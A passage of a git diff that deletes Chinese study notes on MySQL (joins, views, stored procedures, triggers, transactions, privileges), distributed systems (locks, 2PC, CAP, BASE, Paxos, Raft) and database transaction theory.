-可以不明确使用 INNER JOIN，而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
-
-```sql
-SELECT A.value, B.value
-FROM tablea AS A, tableb AS B
-WHERE A.key = B.key;
-```
-
-在没有条件语句的情况下返回笛卡尔积。
-
-## 自连接
-
-自连接可以看成内连接的一种，只是连接的表是自身而已。
-
-一张员工表，包含员工姓名和员工所属部门，要找出与 Jim 处在同一部门的所有员工姓名。
-
-子查询版本
-
-```sql
-SELECT name
-FROM employee
-WHERE department = (
-      SELECT department
-      FROM employee
-      WHERE name = "Jim");
-```
-
-自连接版本
-
-```sql
-SELECT e1.name
-FROM employee AS e1 INNER JOIN employee AS e2
-ON e1.department = e2.department
-      AND e2.name = "Jim";
-```
-
-## 自然连接
-
-自然连接是把同名列通过等值测试连接起来的，同名列可以有多个。
-
-内连接和自然连接的区别：内连接提供连接的列，而自然连接自动连接所有同名列。
-
-```sql
-SELECT A.value, B.value
-FROM tablea AS A NATURAL JOIN tableb AS B;
-```
-
-## 外连接
-
-外连接保留了没有关联的那些行。分为左外连接，右外连接以及全外连接，左外连接就是保留左表没有关联的行。
-
-检索所有顾客的订单信息，包括还没有订单信息的顾客。
-
-```sql
-SELECT Customers.cust_id, Orders.order_num
-FROM Customers LEFT OUTER JOIN Orders
-ON Customers.cust_id = Orders.cust_id;
-```
-
-customers 表：
-
-| cust_id | cust_name |
-| :---: | :---: |
-| 1 | a |
-| 2 | b |
-| 3 | c |
-
-orders 表：
-
-| order_id | cust_id |
-| :---: | :---: |
-|1    | 1 |
-|2    | 1 |
-|3    | 3 |
-|4    | 3 |
-
-结果：
-
-| cust_id | cust_name | order_id |
-| :---: | :---: | :---: |
-| 1 | a | 1 |
-| 1 | a | 2 |
-| 3 | c | 3 |
-| 3 | c | 4 |
-| 2 | b | Null |
-
-# 十六、组合查询
-
-使用  **UNION**  来组合两个查询，如果第一个查询返回 M 行，第二个查询返回 N 行，那么组合查询的结果一般为 M+N 行。
-
-每个查询必须包含相同的列、表达式和聚集函数。
-
-默认会去除相同行，如果需要保留相同行，使用 UNION ALL。
-
-只能包含一个 ORDER BY 子句，并且必须位于语句的最后。
-
-```sql
-SELECT col
-FROM mytable
-WHERE col = 1
-UNION
-SELECT col
-FROM mytable
-WHERE col =2;
-```
-
-# 十七、视图
-
-视图是虚拟的表，本身不包含数据，也就不能对其进行索引操作。
-
-对视图的操作和对普通表的操作一样。
-
-视图具有如下好处：
-
-- 简化复杂的 SQL 操作，比如复杂的连接；
-- 只使用实际表的一部分数据；
-- 通过只给用户访问视图的权限，保证数据的安全性；
-- 更改数据格式和表示。
-
-```sql
-CREATE VIEW myview AS
-SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col
-FROM mytable
-WHERE col5 = val;
-```
-
-# 十八、存储过程
-
-存储过程可以看成是对一系列 SQL 操作的批处理；
-
-使用存储过程的好处：
-
-- 代码封装，保证了一定的安全性；
-- 代码复用；
-- 由于是预先编译，因此具有很高的性能。
-
-命令行中创建存储过程需要自定义分隔符，因为命令行是以 ; 为结束符，而存储过程中也包含了分号，因此会错误把这部分分号当成是结束符，造成语法错误。
-
-包含 in、out 和 inout 三种参数。
-
-给变量赋值都需要用 select into 语句。
-
-每次只能给一个变量赋值，不支持集合的操作。
-
-```sql
-delimiter //
-
-create procedure myprocedure( out ret int )
-    begin
-        declare y int;
-        select sum(col1)
-        from mytable
-        into y;
-        select y*y into ret;
-    end //
-
-delimiter ;
-```
-
-```sql
-call myprocedure(@ret);
-select @ret;
-```
-
-# 十九、游标
-
-在存储过程中使用游标可以对一个结果集进行移动遍历。
-
-游标主要用于交互式应用，其中用户需要对数据集中的任意行进行浏览和修改。
-
-使用游标的四个步骤：
-
-1. 声明游标，这个过程没有实际检索出数据；
-2. 打开游标；
-3. 取出数据；
-4. 关闭游标；
-
-```sql
-delimiter //
-create procedure myprocedure(out ret int)
-    begin
-        declare done boolean default 0;
-
-        declare mycursor cursor for
-        select col1 from mytable;
-        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1
-        declare continue handler for sqlstate '02000' set done = 1;
-
-        open mycursor;
-
-        repeat
-            fetch mycursor into ret;
-            select ret;
-        until done end repeat;
-
-        close mycursor;
-    end //
- delimiter ;
-```
-
-# 二十、触发器
-
-触发器会在某个表执行以下语句时而自动执行：DELETE、INSERT、UPDATE。
-
-触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。
-
-INSERT 触发器包含一个名为 NEW 的虚拟表。
-
-```sql
-CREATE TRIGGER mytrigger AFTER INSERT ON mytable
-FOR EACH ROW SELECT NEW.col into @result;
-
-SELECT @result; -- 获取结果
-```
-
-DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
-
-UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改地，而 OLD 是只读的。
-
-MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
-
-# 二十一、事务处理
-
-基本术语：
-
-- 事务（transaction）指一组 SQL 语句；
-- 回退（rollback）指撤销指定 SQL 语句的过程；
-- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；
-- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。
-
-不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。
-
-MySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。
-
-通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。
-
-如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。
-
-```sql
-START TRANSACTION
-// ...
-SAVEPOINT delete1
-// ...
-ROLLBACK TO delete1
-// ...
-COMMIT
-```
-
-# 二十二、字符集
-
-基本术语：
-
-- 字符集为字母和符号的集合；
-- 编码为某个字符集成员的内部表示；
-- 校对字符指定如何比较，主要用于排序和分组。
-
-除了给表指定字符集和校对外，也可以给列指定：
-
-```sql
-CREATE TABLE mytable
-(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
-DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
-```
-
-可以在排序、分组时指定校对：
-
-```sql
-SELECT *
-FROM mytable
-ORDER BY col COLLATE latin1_general_ci;
-```
-
-# 二十三、权限管理
-
-MySQL 的账户信息保存在 mysql 这个数据库中。
-
-```sql
-USE mysql;
-SELECT user FROM user;
-```
-
-**创建账户** 
-
-```sql
-CREATE USER myuser IDENTIFIED BY 'mypassword';
-```
-
-新创建的账户没有任何权限。
-
-**修改账户名** 
-
-```sql
-RENAME myuser TO newuser;
-```
-
-**删除账户** 
-
-```sql
-DROP USER myuser;
-```
-
-**查看权限** 
-
-```sql
-SHOW GRANTS FOR myuser;
-```
-
-**授予权限** 
-
-```sql
-GRANT SELECT, INSERT ON mydatabase.* TO myuser;
-```
-
-账户用 username@host 的形式定义，username@% 使用的是默认主机名。
-
-**删除权限** 
-
-```sql
-REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
-```
-
-GRANT 和 REVOKE 可在几个层次上控制访问权限：
-
-- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
-- 整个数据库，使用 ON database.\*；
-- 特定的表，使用 ON database.table；
-- 特定的列；
-- 特定的存储过程。
-
-**更改密码** 
-
-必须使用 Password() 函数
-
-```sql
-SET PASSWROD FOR myuser = Password('new_password');
-```
-
-# 参考资料
-
-- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
diff --git a/notes/分布式.md b/notes/分布式.md
index 0f136855..649f563a 100644
--- a/notes/分布式.md
+++ b/notes/分布式.md
@@ -1,359 +1,4 @@
 <!-- GFM-TOC -->
-* [一、分布式锁](#一分布式锁)
-    * [数据库的唯一索引](#数据库的唯一索引)
-    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
-    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
-    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
-* [二、分布式事务](#二分布式事务)
-    * [本地消息表](#本地消息表)
-    * [2PC](#2pc)
-* [三、CAP](#三cap)
-    * [一致性](#一致性)
-    * [可用性](#可用性)
-    * [分区容忍性](#分区容忍性)
-    * [权衡](#权衡)
-* [四、BASE](#四base)
-    * [基本可用](#基本可用)
-    * [软状态](#软状态)
-    * [最终一致性](#最终一致性)
-* [五、Paxos](#五paxos)
-    * [执行过程](#执行过程)
-    * [约束条件](#约束条件)
-* [五、Raft](#五raft)
-    * [单个 Candidate 的竞选](#单个-candidate-的竞选)
-    * [多个 Candidate 竞选](#多个-candidate-竞选)
-    * [日志复制](#日志复制)
 <!-- GFM-TOC -->
 
 
-# 一、分布式锁
-
-在单机场景下，可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
-
-阻塞锁通常使用互斥量来实现：
-
-- 互斥量为 1 表示有其它进程在使用锁，此时处于锁定状态；
-- 互斥量为 0 表示未锁定状态。
-
-1 和 0 可以用一个整型值表示，也可以用某个数据存在或者不存在表示，存在表示互斥量为 1。
-
-## 数据库的唯一索引
-
-当想要获得锁时，就向表中插入一条记录，释放锁时就删除这条记录。唯一索引可以保证该记录只被插入一次，那么就可以用这个记录是否存在来判断是否存于锁定状态。
-
-存在以下几个问题：
-
-- 锁没有失效时间，解锁失败的话其它进程无法再获得锁。
-- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
-- 不可重入，已经获得锁的进程也必须重新获取锁。
-
-## Redis 的 SETNX 指令
-
-使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
-
-SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
-
-EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
-
-## Redis 的 RedLock 算法
-
-使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
-
-- 尝试从 N 个相互独立 Redis 实例获取锁，如果一个实例不可用，应该尽快尝试下一个；
-- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
-- 如果锁获取失败，会到每个实例上释放锁。
-
-## Zookeeper 的有序节点
-
-### 1. Zookeeper 抽象模型
-
-Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点表示它的父节点为 /app1。
-
-<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
-
-### 2. 节点类型
-
-- 永久节点：不会因为会话结束或者超时而消失；
-- 临时节点：如果会话结束或者超时就会消失；
-- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
-
-### 3. 监听器
-
-为一个节点注册监听器，在节点状态发生改变时，会给客户端发送消息。
-
-### 4. 分布式锁实现
-
-- 创建一个锁目录 /lock；
-- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
--  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
-- 执行业务代码，完成后，删除对应的子节点。
-
-### 5. 会话超时
-
-如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现分布式锁的释放锁失败问题。
-
-### 6. 羊群效应
-
-一个节点未获得锁，需要监听自己的前一个子节点，这是因为如果监听所有的子节点，那么任意一个子节点状态改变，其它所有子节点都会收到通知（羊群效应），而我们只希望它的后一个子节点收到通知。
-
-参考：
-
-- [Distributed locks with Redis](https://redis.io/topics/distlock)
-- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
-- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
-
-# 二、分布式事务
-
-指事务的操作位于不同的节点上，需要保证事务的 AICD 特性。例如在下单场景下，库存和订单如果不在同一个节点上，就涉及分布式事务。
-
-## 本地消息表
-
-### 1. 原理
-
-本地消息表与业务数据表处于同一个数据库中，这样就能利用本地事务来保证在对这两个表的操作满足事务特性。
-
-1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
-2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
-3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
-
-<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
-
-### 2. 分析
-
-本地消息表利用了本地事务来实现分布式事务，并且使用了消息队列来保证最终一致性。
-
-## 2PC
-
-两阶段提交（Two-phase Commit，2PC）
-
-通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
-
-### 1. 运行过程
-
-（一）准备阶段
-
-协调者询问参与者事务是否执行成功，参与者发回事务执行结果。
-
-<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
-
-（二）提交阶段
-
-如果事务在每个参与者上都执行成功，事务协调者发送通知让参与者提交事务；否则，协调者发送通知让参与者回滚事务。
-
-需要注意的是，在准备阶段，参与者执行了事务，但是还未提交。只有在提交阶段接收到协调者发来的通知后，才进行提交或者回滚。
-
-<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
-
-### 2. 存在的问题
-
-（一）同步阻塞
-
-所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。
-
-（二）单点问题
-
-协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响，特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作。
-
-（三）数据不一致
-
-在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
-
-（四）太过保守
-
-任意一个节点失败就会导致整个事务失败，没有完善的容错机制。
-
-参考：
-
-- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
-- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
-- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
-
-# 三、CAP
-
-分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
-
-<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
-
-## 一致性
-
-一致性指的是多个数据副本是否能保持一致的特性。
-
-在一致性的条件下，系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
-
-对系统的一个数据更新成功之后，如果所有用户都能够读取到最新的值，该系统就被认为具有强一致性。
-
-## 可用性
-
-可用性指分布式系统在面对各种异常时可以提供正常服务的能力，可以用系统可用时间占总时间的比值来衡量，4 个 9 的可用性表示系统 99.99% 的时间是可用的。
-
-在可用性条件下，系统提供的服务一直处于可用的状态，对于用户的每一个操作请求总是能够在有限的时间内返回结果。
-
-## 分区容忍性
-
-网络分区指分布式系统中的节点被划分为多个区域，每个区域内部可以通信，但是区域之间无法通信。
-
-在分区容忍性条件下，分布式系统在遇到任何网络分区故障的时候，仍然需要能对外提供一致性和可用性的服务，除非是整个网络环境都发生了故障。
-
-## 权衡
-
-在分布式系统中，分区容忍性必不可少，因为需要总是假设网络是不可靠的。因此，CAP 理论实际在是要在可用性和一致性之间做权衡。
-
-可用性和一致性往往是冲突的，很难都使它们同时满足。在多个节点之间进行数据同步时，
-
-*   为了保证一致性（CP），就需要让所有节点下线成为不可用的状态，等待同步完成；
-*   为了保证可用性（AP），在同步过程中允许读取所有节点的数据，但是数据可能不一致。
-
-<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
-
-参考：
-
-- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
-- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
-
-# 四、BASE
-
-BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
-
-BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的理论的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
-
-<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
-
-## 基本可用
-
-指分布式系统在出现故障的时候，保证核心可用，允许损失部分可用性。
-
-例如，电商在做促销时，为了保证购物系统的稳定性，部分消费者可能会被引导到一个降级的页面。
-
-## 软状态
-
-指允许系统中的数据存在中间状态，并认为该中间状态不会影响系统整体可用性，即允许系统不同节点的数据副本之间进行同步的过程存在延时。
-
-## 最终一致性
-
-最终一致性强调的是系统中所有的数据副本，在经过一段时间的同步后，最终能达到一致的状态。
-
-ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE 要求最终一致性，通过牺牲强一致性来达到可用性，通常运用在大型分布式系统中。
-
-在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
-
-# 五、Paxos
-
-用于达成共识性问题，即对多个节点产生的值，该算法能保证只选出唯一一个值。
-
-主要有三类节点：
-
-- 提议者（Proposer）：提议一个值；
-- 接受者（Acceptor）：对每个提议进行投票；
-- 告知者（Learner）：被告知投票的结果，不参与投票过程。
-
-<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
-
-## 执行过程
-
-规定一个提议包含两个字段：[n, v]，其中 n 为序号（具有唯一性），v 为提议值。
-
-下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送提议请求。
-
-<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
-
-当 Acceptor 接收到一个提议请求，包含的提议为 [n1, v1]，并且之前还未接收过提议请求，那么发送一个提议响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
-
-如下图，Acceptor X 在收到 [n=2, v=8] 的提议请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的提议响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
-
-<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
-
-如果 Acceptor 接收到一个提议请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送提议响应，该提议响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
-
-如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的提议响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
-
-<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
-
-当一个 Proposer 接收到超过一半 Acceptor 的提议响应时，就可以发送接受请求。
-
-Proposer A 接收到两个提议响应之后，就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃，因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
-
-Proposer B 过后也收到了两个提议响应，因此也开始发送接受请求。需要注意的是，接受请求的 v 需要取它收到的最大 v 值，也就是 8。因此它发送 [n=4, v=8] 的接受请求。
-
-<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
-
-Acceptor 接收到接受请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送通知给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
-
-<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
-
-## 约束条件
-
-### 1\. 正确性
-
-指只有一个提议值会生效。
-
-因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
-
-### 2\. 可终止性
-
-指最后总会有一个提议生效。
-
-Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
-
-参考：
-
-- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
-- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
-
-# 五、Raft
-
-Raft 和 Paxos 类似，但是更容易理解，也更容易实现。
-
-Raft 主要是用来竞选主节点。
-
-## 单个 Candidate 的竞选
-
-有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms\~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
-
-*   下图表示一个分布式系统的最初阶段，此时只有 Follower，没有 Leader。Follower A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
-
-<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
-
-*   此时 A 发送投票请求给其它所有节点。
-
-<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
-
-*   其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
-
-<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
-
-*   之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
-
-<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
-
-## 多个 Candidate 竞选
-
-*   如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票，例如下图中 Candidate B 和 Candidate D 都获得两票，因此需要重新开始投票。
-
-<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
-
-*   当重新开始投票时，由于每个节点设置的随机竞选超时时间不同，因此能下一次再次出现多个 Candidate 并获得同样票数的概率很低。
-
-<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
-
-## 日志复制
-
-*   来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
-
-<div align="center"> <img src="../pics//7.gif"/> </div><br>
-
-*   Leader 会把修改复制到所有 Follower。
-
-<div align="center"> <img src="../pics//9.gif"/> </div><br>
-
-*   Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
-
-<div align="center"> <img src="../pics//10.gif"/> </div><br>
-
-*   此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
-
-<div align="center"> <img src="../pics//11.gif"/> </div><br>
-
-参考：
-
-- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
-
diff --git a/notes/数据库系统原理.md b/notes/数据库系统原理.md
index cabc2f97..649f563a 100644
--- a/notes/数据库系统原理.md
+++ b/notes/数据库系统原理.md
@@ -1,580 +1,4 @@
 <!-- GFM-TOC -->
-* [一、事务](#一事务)
-    * [概念](#概念)
-    * [ACID](#acid)
-    * [AUTOCOMMIT](#autocommit)
-* [二、并发一致性问题](#二并发一致性问题)
-    * [丢失修改](#丢失修改)
-    * [读脏数据](#读脏数据)
-    * [不可重复读](#不可重复读)
-    * [幻影读](#幻影读)
-* [三、封锁](#三封锁)
-    * [封锁粒度](#封锁粒度)
-    * [封锁类型](#封锁类型)
-    * [封锁协议](#封锁协议)
-    * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
-* [四、隔离级别](#四隔离级别)
-    * [未提交读（READ UNCOMMITTED）](#未提交读read-uncommitted)
-    * [提交读（READ COMMITTED）](#提交读read-committed)
-    * [可重复读（REPEATABLE READ）](#可重复读repeatable-read)
-    * [可串行化（SERIALIZABLE）](#可串行化serializable)
-* [五、多版本并发控制](#五多版本并发控制)
-    * [版本号](#版本号)
-    * [Undo 日志](#undo-日志)
-    * [实现过程](#实现过程)
-    * [快照读与当前读](#快照读与当前读)
-* [六、Next-Key Locks](#六next-key-locks)
-    * [Record Locks](#record-locks)
-    * [Gap Locks](#gap-locks)
-    * [Next-Key Locks](#next-key-locks)
-* [七、关系数据库设计理论](#七关系数据库设计理论)
-    * [函数依赖](#函数依赖)
-    * [异常](#异常)
-    * [范式](#范式)
-* [八、ER 图](#八er-图)
-    * [实体的三种联系](#实体的三种联系)
-    * [表示出现多次的关系](#表示出现多次的关系)
-    * [联系的多向性](#联系的多向性)
-    * [表示子类](#表示子类)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、事务
-
-## 概念
-
-<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png" width="400"/> </div><br>
-
-事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
-
-## ACID
-
-### 1. 原子性（Atomicity）
-
-事务被视为不可分割的最小单元，事务的所有操作要么全部提交成功，要么全部失败回滚。
-
-回滚可以用日志来实现，日志记录着事务所执行的修改操作，在回滚时反向执行这些修改操作即可。
-
-### 2. 一致性（Consistency）
-
-数据库在事务执行前后都保持一致性状态。
-
-在一致性状态下，所有事务对一个数据的读取结果都是相同的。
-
-### 3. 隔离性（Isolation）
-
-一个事务所做的修改在最终提交以前，对其它事务是不可见的。
-
-### 4. 持久性（Durability）
-
-一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。
-
-可以通过数据库备份和恢复来实现，在系统发生崩溃时，使用备份的数据库进行数据恢复。
-
-----
-
-事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
-
-- 只有满足一致性，事务的执行结果才是正确的。
-- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时要只要能满足原子性，就一定能满足一致性。
-- 在并发的情况下，多个事务并发执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
-- 事务满足持久化是为了能应对数据库崩溃的情况。
-
-<div align="center"> <img src="../pics//a58e294a-615d-4ea0-9fbf-064a6daec4b2.png" width="400"/> </div><br>
-
-## AUTOCOMMIT
-
-MySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。
-
-# 二、并发一致性问题
-
-在并发环境下，事务的隔离性很难保证，因此会出现很多并发一致性问题。
-
-## 丢失修改
-
-T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
-
-<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png" width="300"/> </div><br>
-
-## 读脏数据
-
-T<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。
-
-<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png" width="300"/> </div><br>
-
-## 不可重复读
-
-T<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。
-
-<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png" width="300"/> </div><br>
-
-## 幻影读
-
-T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。
-
-<div align="center"> <img src="../pics//72fe492e-f1cb-4cfc-92f8-412fb3ae6fec.png" width="300"/> </div><br>
-
-----
-
-产生并发不一致性问题主要原因是破坏了事务的隔离性，解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现，但是封锁操作需要用户自己控制，相当复杂。数据库管理系统提供了事务的隔离级别，让用户以一种更轻松的方式处理并发一致性问题。
-
-# 三、封锁
-
-## 封锁粒度
-
-<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
-
-MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
-
-应该尽量只锁定需要修改的那部分数据，而不是所有的资源。锁定的数据量越少，发生锁争用的可能就越小，系统的并发程度就越高。
-
